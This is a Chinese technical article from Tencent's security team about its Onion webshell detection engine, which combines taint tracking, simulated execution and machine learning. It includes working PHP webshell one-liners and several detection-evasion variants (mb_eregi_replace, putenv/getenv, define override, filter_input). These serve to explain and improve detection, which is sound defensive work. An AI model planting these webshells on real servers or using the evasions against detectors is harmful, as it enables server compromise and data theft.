主机安全:洋葱Webshell检测实践与思考 – 作者:腾讯安全平台部

前言

Webshell是网站入侵的常用后门,利用Webshell可以在Web服务器上执行系统命令、窃取数据等恶意操作,危害极大。Webshell因其隐秘性、基于脚本、灵活便捷、功能强大等特点,广受黑客们的喜爱,因此Webshell的检测也成为企业安全防御的重点,Webshell检测已是主机安全系统的标配功能。洋葱系统是腾讯自研的主机安全系统,Webshell检测是其基础功能之一,洋葱系统在2008年上线了第一代Webshell检测引擎,14年上线了动态检测功能(RASP)并在TSRC进行了众测,其后还增加了统计分析、机器学习等能力。2012年phpmyadmin某个分发节点被植入后门(CVE-2012-5159)就是被Webshell检测引擎所发现。

近几年攻防对抗不断升级,防御的挑战越来越大,并且大型互联网公司服务器多、流量大,除了检测能力,也要考虑业务实施成本、运营等多个方面,文件检测、动态检测、机器学习等单一方法都存在一些问题。基于以上原因我们提出了一种新的检测思路,5月份拿PHP引擎在TSRC做了一次众测,从测试结果看检测能力较之前有很大提升,但也存在一些问题,本文主要是一些实践思路和原理介绍,借助TSRC博客和大家做一个交流分享。

主流Webshell检测思路

当前Webshell的检测方式多以特征检测、机器学习、动态检测、统计分析、流量日志、白名单检测为主。

1. 特征检测

特征检测是通过安全专家经验从已知Webshell样本中提取恶意特征进行模式匹配检测,也有一些是自动化提取特征或用md5检测,优点在于检测速度快,部署方便。缺点不言而喻,需要持续性维护正则匹配库,随着量的积累,维护成本大,并且误报率高、泛化能力弱、不能发现未知威胁,在检测率与误报方面难以平衡。

2. 统计分析

统计分析是利用一些统计学方法进行Webshell识别与检测,通过提取文件中的特征代码、信息熵、最长单词、重合指数、压缩等特征进行异常检测,这种方法对某些混淆、变形的Webshell文件具有很好的识别效果,但是误报和漏报特别多。业界也有一些开源项目可以参考,如NeoPI。

3. 机器学习

机器学习方法也是当前Webshell检测的研究热点,利用决策树、SVM、LSTM、深度学习等方法对样本训练得到检测模型,机器学习模型的优点是具备一定未知样本的发现能力。缺点是模型建设对样本的要求比较高,另一个是机器学习模型看的指标是看准确率和误报率比例,但在安全运营上除了比例绝对数量值也非常重要,文件量大误报率即便很低告警数还是会很大难以运营,从我们的实践来看机器学习模型配合其他方法一起使用效果更佳。

4. 动态检测

动态检测通过监控代码的行为来判断是否为webshell,监控代码行为多采用RASP方式,检测或阻断风险操作。无论代码如何变形混淆行为是不变的,这种方法可以有效的检测混淆、变形木马,准确率高,但是RASP是串行模式部署,监控行为需要占用到业务一些资源,从我们的实践来看监控点要做分级,根据业务情况动态调整。

5. 流量日志检测

基于流量日志的分析方法也是企业常用的一种检测方案,通过流量分析行为,结合访问日志、数据包内容等信息进行建模分析,从中挖掘可能出现的的异常点。例如:一个上传的数据包中存在异常的文件名后缀或者HTTP请求中出现比较可疑的payload,这些都可能是一个Webshell的行为特征。基于流量日志检测的好处是客户端无需部署Agent,缺点是漏报多,同时如果是HTTPS等加密流量就比较麻烦。

6. 白名单检测

采用非白即黑的方式进行恶意检测,白名单文件可以基于代码库或者发布平台收集,这种方法的优点是检测率高,不需要安全特征系统并且开发维护成本低,缺点是如果开发人员下载了带后门的代码或者内部员工留后门会绕过检测。

上述介绍的方案每个公司的情况不一样落地效果也不一样,可能在腾讯不适合的方案在其他场景就很好用,具体技术方案的选择还是需要依据具体情况决定。总而言之,各种检测方法都有自身擅长的检测方向,短板也非常明显。针对上述介绍的方案,洋葱检测引擎均有涉及并应用。在实际的应用中,应当取长补短,相得益彰,才能发挥安全防御的最大成效。为此,洋葱团队深入研究了Webshell的特点,并提出了一种更为有效的检测方案-基于语义和污点追踪+动态模拟执行+机器学习的检测模型,具有高检测率、低漏报、可解释性强等特点,对未知Webshell、变形Webshell的检测能力尤为突出。

洋葱语义动态检测引擎

洋葱Webshell检测引擎以语义污点分析为基础,结合动态模拟执行,同时利用机器学习模型作为辅助判断,具有高检测率、低漏报、可解释性强等特点,对未知Webshell、变形Webshell的检测能力尤为突出。

洋葱检测引擎主要由引擎层、数据层、策略层、应用层四部分构成,整体架构如下图所示:

本文将主要介绍语义污点分析、动态模拟执行的过程,以语义分析为虚、动态模拟执行为实,最后采用虚实结合的策略完成Webshell的检测,整体分析流程如下:

检测引擎本质上是基于污点分析的思想进行语义、动态分析,这里先简单介绍下污点分析的概念。

污点分析可以抽象成一个三元组<sources,sinks,sanitizers>的形式,

sources:污染源,表示所有用户可控的输入点。

sinks:危险汇聚点,代表所有可能产生威胁的函数或操作。

sanitizers:无害处理,代表进行安全操作或过滤,使得样本不在具有安全风险。

洋葱检测引擎的语义、动态分析过程有所不同,语义污点追踪是从sinks触发,判断sinks中的变量或函数是否存在外界可控,而动态污点分析是从sources触发,判断这些污染源是否下沉至sinks点。

语义污点追踪

语义污点追踪先是对样本进行预处理,保证样本文件可以正常的解析为AST抽象语法树,之后寻找所有的sink点,从这些sinks出发,经过静态追踪判断sink点是否与外接输入相关。它是一种静态检测方法,不会真正的执行代码,只能分析代码表象,故为虚。流程图如下:

1. AST

AST(抽象语法树)是PHP 7 引入的一个新特性,在PHP收到一个请求或执行命令时,会首先进行词法和语法分析,生成AST,再生成字节码opcodes,继而继续执行并返回结果。正是由于AST的出现,我们对复杂多变的PHP Webshell的检测有质的提升。

形如最经典的shell一句话:

<?php eval($_GET[1]);?>

生成的抽象语法树如下(生成过程可参考https://astexplorer.net/):

2. 静态污点分析

静态污点分析过程可以分为三个部分,危险汇聚点、污染传播和污染源。

(1)危险汇聚点

在对样本解析生成语法树之后,第一步便是要寻找万恶之源-sinks,检测引擎汇集了几乎所有可能存在的风险点,一共可以分为代码执行、文件操作、动态操作、命令执行、外部组件、回调等。我们首先基于一个认知,所有的webshell,无论如何变形,都摆脱不了对上述风险点的利用。

(2) 污点传播

在收集了所有威胁参数节点之后,便针对这些节点进行逐一回溯追踪判断,进而判断数据流是否可控。洋葱检测引擎支持变量赋值、引用传值、函数调用、函数赋值、间接传值等多种方式。

(3) 污染源

污染源是第二步威胁节点追踪的的终点,如果在威胁节点追踪的过程中发现是外界可控参数或与外界可控变量相关,则直接判断为恶意webshell。常见的污染源有预定义变量、可控函数、变量覆盖函数等。 

(4) 检测示例

<?php

function test($a){

eval($a);

}

$a = $_GET["c"];

test($a);

上述代码是一种函数调用型webshell,语义追踪的过程为:首先发现eval危险函数,之后追踪eval参数$a,发现是在函数test中,然后再跟踪test函数的调用信息,最后锁定调用参数是否外部可控,其数据流模型图为:

间接影响的shell样本如下:

<?php

foreach ($_GET as $b){

if ($b == "c"){

$e = 'e';

}

if ($b == "m"){

$e .= 'val($_GET[1]);';

}

// ...

}

eval($e);

通过外界输入间接控制变量进而构造出webshell文件。静态分析的过程为:追踪$e变量,发现在赋值节点中会被$b影响,并且$b变量受到外界控制,则判断为webshell文件。在这种情况下,洋葱检测引擎会提取所有与变量相关联的节点进行回溯,确保关联节点也不会收到外界影响,对应的数据流模型图为:

动态模拟执行

动态模拟执行部分是基于参数赋值+污点分析的方式实现的。模拟执行可以通过在运行时对外界参数进行模拟赋值的方式,使得代码可在不需要外界参数的情况下继续运行下去。而污点分析技术,可以将模拟值(Source点)标记为污点数据,通过追踪污点数据相关的信息是否流向敏感函数(Sink点),以此来发现可通过外界参数控制敏感函数参数的风险行为。

模拟执行检测过程可以分成4个阶段:

(1) 参数赋值

参数赋值是模拟执行的核心,首先寻找全局外部变量,如GET、POST、COOKIE等。然后通过符号计算推导出符合程序条件运行的虚拟值,并在运行时进行赋值,使得程序可在不需要外部参数的情况下运行起来。

(2) 污点标记

污点标记是整个模拟执行检测的前提,目前在不同的应用程序中进行污点标记的方法各不相同,php这里是借鉴了taint的实现方式,利用php变量的特殊标记和预留标志位,将标志位打点实现标记。污点标记是与参数赋值相结合的,赋值的参数在运行阶段便被打上标记。

(3) 污点传播

污点传播是模拟执行检测的保障,对于已被打上标记的参数变量,变量带有的污点会在程序流中传递,但在传递过程中可能存在污点丢失的情况,所以需要对字符串处理函数、加密函数和转换函数等进行处理,检测函数参数是否存在污点,若存在则将返回值打上标记,以保证污点标记向下传播。 

(4) 污点检测

污点检测的核心点是敏感函数划分,如何判定为敏感函数是模拟执行检测的重点,首先要关注的是命令执行函数和代码执行函数,其次是可间接调用函数的动态调用、反射调用和回调类型,最后是风险程度较小的文件操作、数据库操作等。确定好敏感函数后,通过检测敏感函数的参数是否带有污点来确定是否为恶意文件。核心的检测逻辑便是敏感函数+可控参数。

以下面例子简述模拟执行检测的运行原理 

<?php

$a = $_GET['code'];

$b = base64_decode($a);

eval($b);

?>

上述代码是一个简单的Webshell,参数经过base64解密后进行代码执行。动态模拟执行的过程为:首先寻找到外部变量,对外部变量$_GET[‘code’] 进行参数赋值且给$_GET[‘code’] 打上标记,然后赋值给$a。第二步是将$a用base64解密后赋值给$b,由于base64_decode hook后会检测参数是否存在污点,有则将返回值打上标记,故$b带有污点标记。最后经过Sink点(eval)执行且参数$b带有污点, 故判定为恶意文件。其数据流模型图为:

组合分析

静态的符号执行只能分析出代码所能呈现的逻辑结构,并不知道具体变量的内容。PHP复杂多变的动态特性是影响静态分析的关键性因素。比如在动态调用检测中,单纯的语义只能分析出存在动态调用函数,并不清楚具体是哪个函数调用,但直接告警很明显是不合理的,因此必须要动态的模拟执行配合才能确切的判断是否为恶意文件,其次在检测代码执行时,语义解析由于不清楚变量中的内容导致无法解析具体执行的代码内容,这一部分也是需要动态配合进行检测。

其次虽然动态检测在对抗静态混淆绕过方面具备相对优秀的检测能力,但在实现动态检测的过程中,还是遇到许多困难点,相对于传统正则引擎,这种方式也多了一些比较另类的绕过可能,总结这些绕过其核心的思路有以下两点:

1. 打断污点传播,使得经过Sink点的参数不具备污点,绕过检测。

2. 改变程序执行流,使得程序流在不传入特定值时不经过Sink点,从而绕过检测。 

静态语义检测和动态污点检测都有其难以弥补的短板问题,发现问题才能解决问题,有对抗才能有提升。洋葱检测引擎建设了许多动静结合的策略,在保证低误报的前提下,尽可能的发掘代码中的威胁行为。静态语义分析主要为了保证动态污点能够准确的流向危险源,而动态模拟执行能提供函数调用链用于静态语义分析,这便是两者思想的结合点。

动静结合可以有效的解决代码中的分支问题,抽象语法树解析可以正确的识别分支逻辑,并把可能存在风险的分支内容扔给动态去处理。

关于报错终止问题,静态可先将代码封装为try-catch的方式,将报错代码忽略,而后交给动态,保证程序的继续进行。

关于变量覆盖问题,则可通过hook影响变量定义或赋值的函数来覆盖。

同时引擎也会提取动静态的检测结果进行整合分析,比如代码如下:

<?php

function test(){

/*

* eval code

* */

}

$a = 't'.'e'.'s'.'t';

$a();

静态发现一个危险函数test,但是没有找到调用信息,而动态走到了这个危险函数中,通过两个检测结果的对比与结合,便可判断其为一个Webshell文件。当然就结合方面,引擎还有一段很长的路要走。

对抗与思考 

检测过程解剖完成之后,对抗的思路也就变得很清晰了。检测引擎可能面临敏感源、污点传播、污染源三方面的对抗。

1. 敏感源

检测引擎的敏感源必须考虑完备,如果出现一些函数,形如mb_eregi_replace、set_error_handler 等,可以执行代码并且不在引擎的监控列表内,那么就可以直接绕过引擎的检测,这是引擎可能面临的威胁之一。

例:mb_eregi_replace

<?php

mb_eregi_replace('.*',$_GET[1],'','e');

当mb_eregi_replace的options为e时,可以执行进行代码执行。

2. 污染传播

通过打断污染传播来构造webshell是一个非常常用且有效的绕过手段,也是检测引擎监控和防御的难点。打断污点的方式很多,比如利用报错、分支、间接影响、环境等等方式。

例:环境变量

<?php

putenv($_GET["c"]);

eval(getenv('path'));

?>

首先通过putenv传递变量,之后获取变量中的path内容,那么只需要传入c=path=phpinfo();即可完成利用。

例:变量覆盖

<?php

define($_GET[a], $_GET[b]);

eval(A);

?>

先外部传入a=A 定义A变量,再通过传入b=phpinfo();给A变量赋值,即可完成利用,因此这就要求安全人员尽可能尽可能覆盖所有的变量传播方式,同时这也是一个积累与完善的过程。

3. 污染源

通过寻找冷门的污染源进而绕过检测,也是检测引擎的风险点之一。比如filter_input也可以接受外部参数,如下例中通过传入参数c即可执行代码。

<?php

$a = filter_input(INPUT_GET,'c');

eval($a);

?>

总结

在静态语法树分析方面,其实也可以实现局部的模拟执行功能,还原基本的变量,减轻动态检测的负担。在动态检测方面,可以结合优质的求解器等符号执行方法。

玉不琢,不成器。检测引擎的提升是一个不断沉淀与积累的过程,只有不断的积累攻击手法,举一反三,才能不断的提升检测能力和检测质量。通过这次比赛,我们也学习到了白帽子各种新鲜的技术,这也极大的提升了引擎的检测能力,同时也认识到检测引擎的不足,我们会对引擎更加细致的升级与改造。青山不改,绿水长流,我们后会有期!

感谢海星、海章对本文以及检测引擎建设的帮助与指导,感谢洋葱团队、研发团队、TSRC、腾讯蓝军、运营团队对检测引擎和本次活动的支持。

我们站在巨人的肩膀上,感谢炽天使、牛哥、职业欠钱、flyh4t、cradmin、刘水生、岳志飞、黄湘琦博士、达达、kb、snaker、huili、momo、zhixiang等前辈对洋葱webshell检测引擎的贡献。

最后再次感谢本次参与测试的白帽子们(排名不分先后):phithon,zsp,Omegogogo,w,goto:REinj,do9gy,蜂花护发素,白帽酱,鲸落,紫迹,星光,wuyx,tharavel,test123,monkeyd,impakho,fzxcp3,Lenka

参考

1. laruence. taint: https://github.com/laruence/taint

2. 王蕾, 李丰, 李炼,等. 污点分析技术的原理和实践应用[J]. 软件学报, 2017, 028(004):860-882.

3. PHP. https://www.php.net/

4. Webshell通用免杀思考:https://www.freebuf.com/company-information/235706.html

5. 青藤云安全|腾讯lake2 :Webshell检测的前世今生. https://zhuanlan.zhihu.com/p/136905818

*本文作者:baz &s piders@腾讯安全平台部数据安全团队,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-06-03 11:38:40 by: 腾讯安全平台部

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论